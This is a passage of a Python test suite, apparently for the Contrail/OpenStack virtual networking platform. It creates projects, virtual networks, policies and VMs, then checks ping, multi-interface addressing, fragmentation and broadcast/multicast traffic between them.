self.useFixture( VNFixture( project_name=projects[0], connections=project_connections1, vn_name=vn_names[0], inputs=project_inputs1, subnets=vn_subnets[0], policy_objs=[policy1_fixture.policy_obj])) vn2_fixture = self.useFixture( VNFixture( project_name=projects[0], connections=project_connections1, vn_name=vn_names[1], inputs=project_inputs1, subnets=vn_subnets[1], policy_objs=[policy2_fixture.policy_obj])) assert vn1_fixture.verify_on_setup() assert vn2_fixture.verify_on_setup() vm1_fixture = self.useFixture( VMFixture(connections=project_connections1, vn_obj=vn1_fixture.obj, vm_name=vm_names[0], project_name=projects[0])) vm2_fixture = self.useFixture( VMFixture(connections=project_connections1, vn_obj=vn2_fixture.obj, vm_name=vm_names[1], project_name=projects[0])) assert vm1_fixture.verify_on_setup() assert vm2_fixture.verify_on_setup() vm1_fixture.wait_till_vm_is_up() vm2_fixture.wait_till_vm_is_up() assert vm1_fixture.ping_to_ip(vm2_fixture.vm_ip) self.logger.info( 'We will now create policy to deny in project %s and check that ping fails between the VMs' % (projects[1])) policy3_fixture = self.useFixture( PolicyFixture( policy_name=policy_names[ 2], rules_list=rules1, inputs=project_inputs2, connections=project_connections2)) policy4_fixture = self.useFixture( PolicyFixture( policy_name=policy_names[ 3], rules_list=rev_rules1, inputs=project_inputs2, connections=project_connections2)) vn3_fixture = self.useFixture( VNFixture( project_name=projects[1], connections=project_connections2, vn_name=vn_names[2], inputs=project_inputs2, subnets=vn_subnets[2], policy_objs=[policy3_fixture.policy_obj])) vn4_fixture = self.useFixture( VNFixture( project_name=projects[1], connections=project_connections2, vn_name=vn_names[3], inputs=project_inputs2, subnets=vn_subnets[3], policy_objs=[policy4_fixture.policy_obj])) assert vn3_fixture.verify_on_setup() assert vn4_fixture.verify_on_setup() vm3_fixture = self.useFixture( VMFixture(connections=project_connections2, vn_obj=vn3_fixture.obj, vm_name=vm_names[2], project_name=projects[1])) vm4_fixture = self.useFixture( VMFixture(connections=project_connections2, vn_obj=vn4_fixture.obj, vm_name=vm_names[3], project_name=projects[1])) assert vm3_fixture.verify_on_setup() assert vm4_fixture.verify_on_setup() vm3_fixture.wait_till_vm_is_up() vm4_fixture.wait_till_vm_is_up() assert not vm4_fixture.ping_to_ip(vm3_fixture.vm_ip) return True # end test_policy_between_vns_diff_proj @preposttest_wrapper def test_diff_proj_same_vn_vm_add_delete(self): ''' Test to validate that a VN and VM with the same name and same subnet can be created in two different projects ''' vm_name = 'vm_mine' vn_name = 'vn222' vn_subnets = ['172.16.17.32/24'] projects = ['project111', 'project222'] user_list = [('gudi', 'gudi123', 'admin'), ('mal', 'mal123', 'admin')] project_fixture1 = self.useFixture( ProjectFixture( project_name=projects[ 0], vnc_lib_h=self.vnc_lib, username=user_list[0][0], password=user_list[0][1], connections=self.connections)) project_inputs1 = self.useFixture( ContrailTestInit( self.ini_file, stack_user=project_fixture1.username, stack_password=project_fixture1.password, project_fq_name=['default-domain', projects[0]])) project_connections1 = ContrailConnections(project_inputs1) project_fixture2 = self.useFixture( ProjectFixture( project_name=projects[ 1], vnc_lib_h=self.vnc_lib, username=user_list[1][0], password=user_list[1][1], connections=self.connections)) project_inputs2 = self.useFixture( ContrailTestInit( self.ini_file, stack_user=project_fixture2.username, stack_password=_, project_fq_name=['default-domain', projects[1]])) project_connections2 = ContrailConnections(project_inputs2) vn1_fixture = self.useFixture( VNFixture( project_name=projects[0], connections=project_connections1, vn_name=vn_name, inputs=project_inputs1, subnets=vn_subnets)) assert vn1_fixture.verify_on_setup() vn1_obj = vn1_fixture.obj vn2_fixture = self.useFixture( VNFixture( project_name=projects[1], connections=project_connections2, vn_name=vn_name, inputs=project_inputs2, subnets=vn_subnets)) assert vn2_fixture.verify_on_setup() vn2_obj = vn2_fixture.obj vm1_fixture = self.useFixture( VMFixture(connections=project_connections1, vn_obj=vn1_obj, vm_name=vm_name, project_name=projects[0])) vm2_fixture = self.useFixture( VMFixture(connections=project_connections2, vn_obj=vn2_obj, vm_name=vm_name, project_name=projects[1])) assert vm1_fixture.verify_on_setup() assert vm2_fixture.verify_on_setup() if not vm1_fixture.agent_label == vm2_fixture.agent_label: self.logger.info("Correct label assigment") else: self.logger.error( "The same label has been assigned for both the VMs") return False return True # end test_diff_proj_same_vn_vm_add_delete def remove_from_cleanups(self, fix): for cleanup in self._cleanups: # if fix.cleanUp in cleanup: self._cleanups.remove(cleanup) # break # end remove_from_cleanups @preposttest_wrapper def test_vm_multi_intf_in_same_vn_chk_ping(self): ''' Test to validate that a multiple interfaces of the same VM can be associated to the same VN and ping is successful. ''' #raise self.skipTest("Skiping Test. Will enable after infra changes to support them have been made") vm1_name = 'vm_mine1' vn1_name = 'vn222' vn1_subnets = ['172.16.17.32/24'] vm2_name = 'vm_yours' list_of_ips = [] vn1_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn1_name, inputs=self.inputs, subnets=vn1_subnets)) assert vn1_fixture.verify_on_setup() # In latest release we dont support adding same VN # Converting test to negative, accept execption and mark as PASS try: vm1_fixture = self.useFixture( VMFixture(connections=self.connections, vn_objs=[vn1_fixture.obj, vn1_fixture.obj, vn1_fixture.obj, vn1_fixture.obj, vn1_fixture.obj], vm_name=vm1_name, project_name=self.inputs.project_name)) except Exception as e: self.logger.exception( "Got exception while creating multi_intf_vm_in_same_vn as %s" % (e)) return True assert vm1_fixture.verify_on_setup() try: vm2_fixture = self.useFixture( VMFixture(connections=self.connections, vn_objs=[vn1_fixture.obj, vn1_fixture.obj, vn1_fixture.obj, vn1_fixture.obj, vn1_fixture.obj], vm_name=vm2_name, project_name=self.inputs.project_name)) except Exception as e: self.logger.exception( "Got exception while creating multi_intf_vm_in_same_vn as %s" % (e)) return True assert vm2_fixture.verify_on_setup() list_of_vm1_ips = vm1_fixture.vm_ips list_of_vm2_ips = vm2_fixture.vm_ips self.logger.info('Will ping to the two VMs from the Multi-NIC VM') self.logger.info('-' * 80) result = True for vm2_ip in list_of_vm2_ips: if not vm1_fixture.ping_to_ip(vm2_ip): result = False assert result, "Ping to %s from %s Fail" % ( vm2_ip, vm1_fixture.vm_name) else: self.logger.info('Ping to %s from %s Pass' % (vm2_ip, vm1_fixture.vm_name)) for vm1_ip in list_of_vm1_ips: if not vm2_fixture.ping_to_ip(vm1_ip): result = False assert result, "Ping to %s from %s Fail" % ( vm1_ip, vm2_fixture.vm_name) else: self.logger.info('Ping to %s from %s Pass' % (vm2_ip, vm2_fixture.vm_name)) # end test_vm_multi_intf_in_same_vn_chk_ping @preposttest_wrapper def test_vm_in_2_vns_chk_ping(self): ''' Test to validate that a VM can be associated to more than a VN and ping to a network goes from the respective intf. ''' vm1_name = 'vm_mine1' vn1_name = 'vn222' vn1_subnets = ['172.16.17.32/24'] vn2_name = 'vn223' vn2_subnets = ['172.16.31.10/24'] vm2_name = 'vm_vn222' vm3_name = 'vm_vn223' list_of_ips = [] vn1_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn1_name, inputs=self.inputs, subnets=vn1_subnets)) vn2_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn2_name, inputs=self.inputs, subnets=vn2_subnets)) assert vn1_fixture.verify_on_setup() assert vn2_fixture.verify_on_setup() vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_objs=[vn1_fixture.obj, vn2_fixture.obj], vm_name=vm1_name, project_name=self.inputs.project_name)) assert vm1_fixture.verify_on_setup() vm2_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn1_fixture.obj, vm_name=vm2_name, project_name=self.inputs.project_name)) assert vm2_fixture.verify_on_setup() vm3_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn2_fixture.obj, vm_name=vm3_name, project_name=self.inputs.project_name)) assert vm3_fixture.verify_on_setup() list_of_ips = vm1_fixture.vm_ips i = 'ifconfig eth1 %s netmask 255.255.255.0' % list_of_ips[1] cmd_to_output = [i] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_output, as_sudo=True) output = vm1_fixture.return_output_cmd_dict[i] print output j = 'ifconfig -a' cmd_to_output1 = [j] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_output1) output1 = vm1_fixture.return_output_cmd_dict[j] print output1 for ips in list_of_ips: if ips not in output1: result = False self.logger.error("IP %s not assigned to any eth intf of %s" % (ips, vm1_fixture.vm_name)) assert result, "PR 1018" else: self.logger.info("IP %s is assigned to eth intf of %s" % (ips, vm1_fixture.vm_name)) self.logger.info('-' * 80) self.logger.info('Will ping to the two VMs from the Multi-NIC VM') self.logger.info('-' * 80) result = True if not vm1_fixture.ping_to_ip(vm2_fixture.vm_ip): result = False assert result, "Ping to %s Fail" % vm2_fixture.vm_ip else: self.logger.info('Ping to %s Pass' % vm2_fixture.vm_ip) if not vm1_fixture.ping_to_ip(vm3_fixture.vm_ip): result = False assert result, "Ping to %s Fail" % vm3_fixture.vm_ip else: self.logger.info('Ping to %s Pass' % vm3_fixture.vm_ip) cmd_to_add_file = ['touch batchfile'] cmd_to_exec_file = ['sh batchfile | tee > out.log'] cmd_to_delete_file = ['rm -rf batchfile'] ping_vm2 = 'ping %s' % vm2_fixture.vm_ip cmd_to_ping_vm2 = [ping_vm2] ping_vm3 = 'ping %s' % vm3_fixture.vm_ip cmd_to_ping_vm3 = [ping_vm3] self.logger.info('-' * 80) self.logger.info( 'Will shut down eth1 and hence ping to the second n/w should fail, while the ping to the first n/w is unaffected. The same is not done for eth0 as it points to the default GW') self.logger.info('-' * 80) vm1_fixture.run_cmd_on_vm(cmds=cmd_to_add_file) cmd_to_add_cmd_to_file = [ "echo 'ifconfig -a; sudo ifconfig eth1 down; ifconfig -a; ping -c 5 %s > ping_output_after_shutdown.log; sudo ifconfig eth1 up; ifconfig -a ' > batchfile" % vm3_fixture.vm_ip] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_add_cmd_to_file) vm1_fixture.run_cmd_on_vm(cmds=cmd_to_exec_file) vm1_fixture.run_cmd_on_vm(cmds=cmd_to_delete_file) i = 'cat ping_output_after_shutdown.log' cmd_to_view_output = ['cat ping_output_after_shutdown.log'] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_view_output) output = vm1_fixture.return_output_cmd_dict[i] print output if not '100% packet loss' in output: result = False self.logger.error('Ping to %s Pass' % vm3_fixture.vm_ip) else: self.logger.info('Ping to %s Fail' % vm3_fixture.vm_ip) if not vm1_fixture.ping_to_ip(vm2_fixture.vm_ip): result = False assert result, "Ping to %s Fail" % vm2_fixture.vm_ip else: self.logger.info('Ping to %s Pass' % vm2_fixture.vm_ip) self.logger.info('-' * 80) self.logger.info( 'Will unshut eth1 and hence ping to the second n/w should pass, while the ping to the first n/w is still unaffected. The same is not done for eth0 as it points to the default GW') self.logger.info('-' * 80) vm1_fixture.run_cmd_on_vm(cmds=cmd_to_add_file) cmd_to_add_cmd_to_file = [ "echo 'ifconfig -a; sudo ifconfig eth1 up; sleep 10; sudo ifconfig -a; ping -c 5 %s > ping_output.log' > batchfile" % vm3_fixture.vm_ip] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_add_cmd_to_file) vm1_fixture.run_cmd_on_vm(cmds=cmd_to_exec_file) vm1_fixture.run_cmd_on_vm(cmds=cmd_to_delete_file) j = 'cat ping_output.log' cmd_to_view_output = ['cat ping_output.log'] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_view_output) output1 = vm1_fixture.return_output_cmd_dict[j] print output1 if not '0% packet loss' in output1: result = False self.logger.error('Ping to %s Fail' % vm3_fixture.vm_ip) else: self.logger.info('Ping to %s Pass' % vm3_fixture.vm_ip) if not vm1_fixture.ping_to_ip(vm2_fixture.vm_ip): result = False assert result, "Ping to %s Fail" % vm2_fixture.vm_ip else: self.logger.info('Ping to %s Pass' % vm2_fixture.vm_ip) return True # end test_vm_add_delete_in_2_vns_chk_ping @preposttest_wrapper def test_vm_add_delete_in_2_vns_chk_ips(self): ''' Test to validate that a VM can be associated to more than a VN and it gets the IPs as well. ''' vm1_name = 'vm_mine1' vn1_name = 'vn222' vn1_subnets = ['172.16.17.32/24'] vn2_name = 'vn223' vn2_subnets = ['172.16.31.10/24'] text = """#!/bin/sh ifconfig eth1 172.16.17.32 netmask 255.255.255.0 """ try: with open("/tmp/metadata_script.txt", "w") as f: f.write(text) except Exception as e: self.logger.exception( "Got exception while creating /tmp/metadata_script.txt as %s" % (e)) list_of_ips = [] vn1_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn1_name, inputs=self.inputs, subnets=vn1_subnets)) vn2_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn2_name, inputs=self.inputs, subnets=vn2_subnets)) assert vn1_fixture.verify_on_setup() assert vn2_fixture.verify_on_setup() vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_objs=[vn1_fixture.obj, vn2_fixture.obj], vm_name=vm1_name, project_name=self.inputs.project_name, image_name='cirros-0.3.0-x86_64-uec', flavor='m1.tiny', userdata='/tmp/metadata_script.txt')) assert vm1_fixture.verify_on_setup() list_of_ips = vm1_fixture.vm_ips cmd = '/sbin/ifconfig -a' ret = vm1_fixture.run_cmd_on_vm(cmds=[cmd]) for elem in ret.values(): for ips in list_of_ips: if ips not in elem: self.logger.error( "IP %s not assigned to any eth intf of %s" % (ips, vm1_fixture.vm_name)) else: self.logger.info('IP %s assigned' % ips) return True # end test_vm_add_delete_in_2_vns_chk_ips @preposttest_wrapper def test_vm_add_delete_in_2_vns(self): ''' Test to validate that a VM can be associated to more than one VN. ''' vm1_name = 'vm_mine1' vn1_name = 'vn222' vn1_subnets = ['172.16.17.32/24'] vn2_name = 'vn223' vn2_subnets = ['172.16.31.10/24'] vn1_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn1_name, inputs=self.inputs, subnets=vn1_subnets)) vn2_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn2_name, inputs=self.inputs, subnets=vn2_subnets)) assert vn1_fixture.verify_on_setup() assert vn2_fixture.verify_on_setup() vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_objs=[vn1_fixture.obj, vn2_fixture.obj], vm_name=vm1_name, project_name=self.inputs.project_name)) assert vm1_fixture.verify_on_setup() return True # end test_vm_add_delete_in_2_vns @preposttest_wrapper def test_no_frag_in_vm(self): ''' Validate that VM should not fragment packets and that Vrouter does it. ''' vn1_name = 'vn30' vn1_subnets = ['192.168.127.12/24'] vn1_vm1_name = 'vm1' vn1_vm2_name = 'vm2' vn1_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn1_name, inputs=self.inputs, subnets=vn1_subnets)) assert vn1_fixture.verify_on_setup() vm1_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, flavor='contrail_flavor_small', image_name='ubuntu-traffic', vm_name=vn1_vm1_name)) vm2_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, flavor='contrail_flavor_small', image_name='ubuntu-traffic', vm_name=vn1_vm2_name)) assert vm1_fixture.verify_on_setup() assert vm2_fixture.verify_on_setup() out1 = vm1_fixture.wait_till_vm_is_up() if out1 == False: return {'result': out1, 'msg': "%s failed to come up" % vm1_fixture.vm_name} else: self.logger.info('Will install Traffic package on %s' % vm1_fixture.vm_name) vm1_fixture.install_pkg("Traffic") out2 = vm2_fixture.wait_till_vm_is_up() if out2 == False: return {'result': out2, 'msg': "%s failed to come up" % vm2_fixture.vm_name} else: sleep(10) self.logger.info('Will install Traffic package on %s' % vm2_fixture.vm_name) vm2_fixture.install_pkg("Traffic") # vm1_fixture.install_pkg("Traffic") # vm2_fixture.install_pkg("Traffic") result = True msg = [] traffic_obj = {} startStatus = {} stopStatus = {} traffic_proto_l = ['icmp'] total_streams = {} total_streams['icmp'] = 1 dpi = 9100 packet_size = 2000 cmd_to_increase_mtu = ['ifconfig eth0 mtu 3000'] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_increase_mtu) vm2_fixture.run_cmd_on_vm(cmds=cmd_to_increase_mtu) for proto in traffic_proto_l: traffic_obj[proto] = {} startStatus[proto] = {} traffic_obj[proto] = self.useFixture( traffic_tests.trafficTestFixture(self.connections)) startStatus[proto] = traffic_obj[proto].startTraffic( num_streams=total_streams[proto], start_port=dpi, tx_vm_fixture=vm1_fixture, rx_vm_fixture=vm2_fixture, stream_proto=proto, packet_size=packet_size) self.logger.info("Status of start traffic : %s, %s, %s" % (proto, vm1_fixture.vm_ip, startStatus[proto])) cmd_to_tcpdump = [ 'nohup tcpdump -i eth0 icmp -vvv -c 10 > /tmp/out.log'] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_tcpdump) i = 'cat /tmp/out.log' cmd_to_output = ['cat /tmp/out.log'] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_output) output = vm1_fixture.return_output_cmd_dict[i] print output if 'DF' in output: result = False return result # end test_no_frag_in_vm @preposttest_wrapper def test_ping_within_vn(self): ''' Validate Ping between two VMs within a VN. ''' vn1_name = 'vn30' vn1_subnets = ['192.168.127.12/24'] vn1_vm1_name = 'vm1' vn1_vm2_name = 'vm2' vn1_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn1_name, inputs=self.inputs, subnets=vn1_subnets)) assert vn1_fixture.verify_on_setup() vm1_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, vm_name=vn1_vm1_name)) vm2_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, vm_name=vn1_vm2_name)) assert vm1_fixture.verify_on_setup() assert vm2_fixture.verify_on_setup() vm1_fixture.wait_till_vm_is_up() vm2_fixture.wait_till_vm_is_up() assert vm1_fixture.ping_to_ip(vm2_fixture.vm_ip) assert vm2_fixture.ping_to_ip(vm1_fixture.vm_ip) return True # end test_ping_within_vn @preposttest_wrapper def test_ping_on_broadcast_multicast_with_frag(self): ''' Validate Ping on subnet broadcast,link local multucast,network broadcastwith packet sizes > MTU and see that fragmentation and assembly work fine . ''' vn1_name = 'vn30' vn1_subnets = ['192.168.127.12/24'] ping_count = '5' vn1_vm1_name = 'vm1' vn1_vm2_name = 'vm2' vn1_vm3_name = 'vm3' vn1_vm4_name = 'vm4' vn1_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn1_name, inputs=self.inputs, subnets=vn1_subnets)) assert vn1_fixture.verify_on_setup() vm1_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, vm_name=vn1_vm1_name)) vm2_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, vm_name=vn1_vm2_name)) vm3_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, vm_name=vn1_vm3_name)) vm4_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, vm_name=vn1_vm4_name)) assert vm1_fixture.verify_on_setup() assert vm2_fixture.verify_on_setup() assert vm3_fixture.verify_on_setup() assert vm4_fixture.verify_on_setup() vm1_fixture.wait_till_vm_is_up() vm2_fixture.wait_till_vm_is_up() vm3_fixture.wait_till_vm_is_up() vm4_fixture.wait_till_vm_is_up() # Geting the VM ips vm1_ip = vm1_fixture.vm_ip vm2_ip = vm2_fixture.vm_ip vm3_ip = vm3_fixture.vm_ip vm4_ip = vm4_fixture.vm_ip ip_list = [vm1_ip, vm2_ip, vm3_ip, vm4_ip] list_of_ip_to_ping = ['172.16.58.3', '172.16.17.32', '255.255.255.255'] # passing command to vms so that they respond to subnet broadcast cmd_list_to_pass_vm = [ 'echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts'] vm1_fixture.run_cmd_on_vm(cmds=cmd_list_to_pass_vm, as_sudo=True) vm2_fixture.run_cmd_on_vm(cmds=cmd_list_to_pass_vm, as_sudo=True) vm3_fixture.run_cmd_on_vm(cmds=cmd_list_to_pass_vm, as_sudo=True) vm4_fixture.run_cmd_on_vm(cmds=cmd_list_to_pass_vm, as_sudo=True) for dst_ip in list_of_ip_to_ping: print 'pinging from %s to %s' % (vm1_ip, dst_ip) # pinging from Vm1 to subnet broadcast ping_output = vm1_fixture.ping_to_ip( dst_ip, return_output=True, count=ping_count, size='3000', other_opt='-b') self.logger.info( 'The packet is not fragmanted because of the smaller MTU') expected_result = 'Message too long' assert (expected_result in ping_output) self.logger.info('Will change the MTU of the VMs and try again') cmd_to_increase_mtu = ['ifconfig eth0 mtu 9000'] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_increase_mtu, as_sudo=True) vm2_fixture.run_cmd_on_vm(cmds=cmd_to_increase_mtu, as_sudo=True) vm3_fixture.run_cmd_on_vm(cmds=cmd_to_increase_mtu, as_sudo=True) vm4_fixture.run_cmd_on_vm(cmds=cmd_to_increase_mtu, as_sudo=True) for dst_ip in list_of_ip_to_ping: print 'pinging from %s to %s' % (vm1_ip, dst_ip) # pinging from Vm1 to subnet broadcast ping_output = vm1_fixture.ping_to_ip( dst_ip, return_output=True, count=ping_count, size='3000', other_opt='-b') expected_result = 'Message too long' assert (expected_result not in ping_output) # getting count of ping response from each vm string_count_dict = {} string_count_dict = get_string_match_count(ip_list, ping_output) print string_count_dict for k in ip_list: # this is a workaround : ping utility exist as soon as it gets # one response assert (string_count_dict[k] >= (int(ping_count) - 1)) return True # end test_ping_on_broadcast_multicast_with_frag @preposttest_wrapper def test_broadcast_udp_w_chksum(self): ''' Validate Broadcast UDP stream with checksum check enabled . ''' vn1_name = 'vn30' vn1_subnets = ['192.168.127.12/24'] vn1_vm1_name = 'vm1' vn1_vm2_name = 'vm2' vn1_vm3_name = 'vm3' vn1_vm4_name = 'vm4' result = True list_of_ips = ['172.16.58.3', '172.16.17.32', '255.255.255.255'] vn1_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn1_name, inputs=self.inputs, subnets=vn1_subnets)) assert vn1_fixture.verify_on_setup() vm1_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, flavor='contrail_flavor_small', image_name='ubuntu-traffic', vm_name=vn1_vm1_name)) vm2_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, flavor='contrail_flavor_small', image_name='ubuntu-traffic', vm_name=vn1_vm2_name)) vm3_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, flavor='contrail_flavor_small', image_name='ubuntu-traffic', vm_name=vn1_vm3_name)) vm4_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, flavor='contrail_flavor_small', image_name='ubuntu-traffic', vm_name=vn1_vm4_name)) assert vm1_fixture.verify_on_setup() assert vm2_fixture.verify_on_setup() assert vm3_fixture.verify_on_setup() assert vm4_fixture.verify_on_setup() #self.nova_fixture.wait_till_vm_is_up( vm1_fixture.vm_obj ) #self.nova_fixture.wait_till_vm_is_up( vm2_fixture.vm_obj ) #self.nova_fixture.wait_till_vm_is_up( vm3_fixture.vm_obj ) #self.nova_fixture.wait_till_vm_is_up( vm4_fixture.vm_obj ) out1 = vm1_fixture.wait_till_vm_is_up() if out1 == False: return {'result': out1, 'msg': "%s failed to come up" % vm1_fixture.vm_name} else: self.logger.info('Installing Traffic package on %s ...' % vm1_fixture.vm_name) vm1_fixture.install_pkg("Traffic") out2 = vm2_fixture.wait_till_vm_is_up() if out2 == False: return {'result': out2, 'msg': "%s failed to come up" % vm2_fixture.vm_name} else: self.logger.info('Installing Traffic package on %s ...' % vm2_fixture.vm_name) vm2_fixture.install_pkg("Traffic") out3 = vm3_fixture.wait_till_vm_is_up() if out3 == False: return {'result': out3, 'msg': "%s failed to come up" % vm3_fixture.vm_name} else: self.logger.info('Installing Traffic package on %s ...' % vm3_fixture.vm_name) vm3_fixture.install_pkg("Traffic") out4 = vm4_fixture.wait_till_vm_is_up() if out4 == False: return {'result': out4, 'msg': "%s failed to come up" % vm4_fixture.vm_name} else: self.logger.info('Installing Traffic package on %s ...' % vm4_fixture.vm_name) vm4_fixture.install_pkg("Traffic") # Starting Multicast_UDP for ips in list_of_ips: self.logger.info("-" * 80) self.logger.info('Sending UDP packets to %s' % ips) self.logger.info("-" * 80) stream = Stream(protocol="ip", proto="udp", src=vm1_fixture.vm_ip, dst=ips, dport=9000) profile = ContinuousProfile( stream=stream, listener=ips, capfilter="udp port 8000", chksum=True) tx_vm_node_ip = self.inputs.host_data[ self.nova_fixture.get_nova_host_of_vm(vm1_fixture.vm_obj)]['host_ip'] rx1_vm_node_ip = self.inputs.host_data[ self.nova_fixture.get_nova_host_of_vm(vm2_fixture.vm_obj)]['host_ip'] rx2_vm_node_ip = self.inputs.host_data[ self.nova_fixture.get_nova_host_of_vm(vm3_fixture.vm_obj)]['host_ip'] rx3_vm_node_ip = self.inputs.host_data[ self.nova_fixture.get_nova_host_of_vm(vm4_fixture.vm_obj)]['host_ip'] tx_local_host = Host( tx_vm_node_ip, self.inputs.username, self.inputs.password) rx1_local_host = Host( rx1_vm_node_ip, self.inputs.username, self.inputs.password) rx2_local_host = Host( rx2_vm_node_ip, self.inputs.username, self.inputs.password) rx3_local_host = Host( rx3_vm_node_ip, self.inputs.username, self.inputs.password) send_host = Host(vm1_fixture.local_ip, vm1_fixture.vm_username, vm1_fixture.vm_password) recv_host1 = Host(vm2_fixture.local_ip, vm2_fixture.vm_username, vm2_fixture.vm_password) recv_host2 = Host(vm3_fixture.local_ip, vm3_fixture.vm_username, vm3_fixture.vm_password) recv_host3 = Host(vm4_fixture.local_ip, vm4_fixture.vm_username, vm4_fixture.vm_password) sender = Sender("sendudp", profile, tx_local_host, send_host, self.inputs.logger) receiver1 = Receiver("recvudp", profile, rx1_local_host, recv_host1, self.inputs.logger) receiver2 = Receiver("recvudp", profile, rx2_local_host, recv_host2, self.inputs.logger) receiver3 = Receiver("recvudp", profile, rx3_local_host, recv_host3, self.inputs.logger) receiver1.start() receiver2.start() receiver3.start() sender.start() # Poll to make sure traffic flows, optional sender.poll() receiver1.poll() receiver2.poll() receiver3.poll() sender.stop() receiver1.stop() receiver2.stop() receiver3.stop() self.logger.info( '%s sent %s packets to %s. %s received %s packets out of which %s are Corrupted' % (vm1_fixture.vm_name, sender.sent, ips, vm2_fixture.vm_name, receiver1.recv, receiver1.corrupt)) self.logger.info( '%s sent %s packets to %s. %s received %s packets out of which %s are Corrupted' % (vm1_fixture.vm_name, sender.sent, ips, vm3_fixture.vm_name, receiver2.recv, receiver2.corrupt)) self.logger.info( '%s sent %s packets to %s. %s received %s packets out of which %s are Corrupted' % (vm1_fixture.vm_name, sender.sent, ips, vm4_fixture.vm_name, receiver3.recv, receiver3.corrupt)) corrupt_list = [receiver1.corrupt, receiver2.corrupt, receiver3.corrupt] for i in corrupt_list: if(i > 0): result = False if(sender.sent == receiver1.recv == receiver2.recv == receiver3.recv): self.logger.info("Packets seen on all the receivers") else: self.logger.error("Packet Drops seen") result = False print result msg = "Packets not Broadcasted" self.assertEqual(result, True, msg) return True # end broadcast_udp_w_chksum # start subnet ping # verifying that ping to subnet broadcast is respended by other vms in same subnet # vm from other subnet should not respond @preposttest_wrapper def test_ping_on_broadcast_multicast(self): ''' Validate Ping on subnet broadcast,link local multucast,network broadcast . ''' vn1_name = 'vn30' vn1_subnets = ['192.168.127.12/24'] ping_count = '5' vn1_vm1_name = 'vm1' vn1_vm2_name = 'vm2' vn1_vm3_name = 'vm3' vn1_vm4_name = 'vm4' vn1_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn1_name, inputs=self.inputs, subnets=vn1_subnets)) assert vn1_fixture.verify_on_setup() vm1_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, vm_name=vn1_vm1_name)) vm2_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, vm_name=vn1_vm2_name)) vm3_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, vm_name=vn1_vm3_name)) vm4_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, vm_name=vn1_vm4_name)) assert vm1_fixture.verify_on_setup() assert vm2_fixture.verify_on_setup() assert vm3_fixture.verify_on_setup() assert vm4_fixture.verify_on_setup() vm1_fixture.wait_till_vm_is_up() vm2_fixture.wait_till_vm_is_up() vm3_fixture.wait_till_vm_is_up() vm4_fixture.wait_till_vm_is_up() # Geting the VM ips vm1_ip = vm1_fixture.vm_ip vm2_ip = vm2_fixture.vm_ip vm3_ip = vm3_fixture.vm_ip vm4_ip = vm4_fixture.vm_ip ip_list = [vm1_ip, vm2_ip, vm3_ip, vm4_ip] list_of_ip_to_ping = ['172.16.58.3', '172.16.17.32', '255.255.255.255'] # passing command to vms so that they respond to subnet broadcast cmd_list_to_pass_vm = [ 'echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts'] vm1_fixture.run_cmd_on_vm(cmds=cmd_list_to_pass_vm, as_sudo=True) vm2_fixture.run_cmd_on_vm(cmds=cmd_list_to_pass_vm, as_sudo=True) 